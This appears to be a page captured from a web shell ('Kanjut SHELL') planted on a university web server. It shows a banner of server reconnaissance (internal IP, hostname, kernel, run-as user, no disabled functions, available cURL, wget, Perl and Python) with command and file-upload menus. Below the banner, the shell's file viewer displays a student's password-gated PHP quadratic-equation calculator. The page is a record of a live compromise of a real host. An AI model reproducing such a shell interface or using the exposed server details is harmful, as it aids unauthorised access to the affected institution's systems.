Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.139.234.124
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mekerns/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mekerns/public_html/assignment2_2.php
<?php	session_start();	?>

<!-- assignment2_2.php -->

<?php
	$pass = $_SESSION['psw'];
	if($pass != "hw22")	print "Go away.";
	else
	{
?>
<center>
<H2>
Quadratic Equation Calculator
</H2>
<HR>

<?php

        $a = $_POST['a'];
        $b = $_POST['b'];
        $c = $_POST['c'];
        $disc = $b * $b - (4* $a * $c);
        $x = 0;
        $y = 0;
        if($disc>0)
        {
                $x=((-1* $b)+ sqrt($disc))/(2 * $a);
                $y=((-1* $b)- sqrt($disc))/(2 * $a);
                $x2 = number_format($x,2);
                $y2 = number_format($y,2);
                print "Roots: $x2 , $y2";
        }
        else if ($disc==0)
        {
                $x=((-1* $b) + sqrt($disc))/(2 * $a);
                $ans=number_format($x, 2);
                print "Root: $ans";
        }
        else
        {
                print "No root.";
        }
?>
</font>
</center>

<HR>
	<A HREF=assignment2_2.html>Go back</A>

</center>
<?php
	}
?>

Stv3n404 - 2023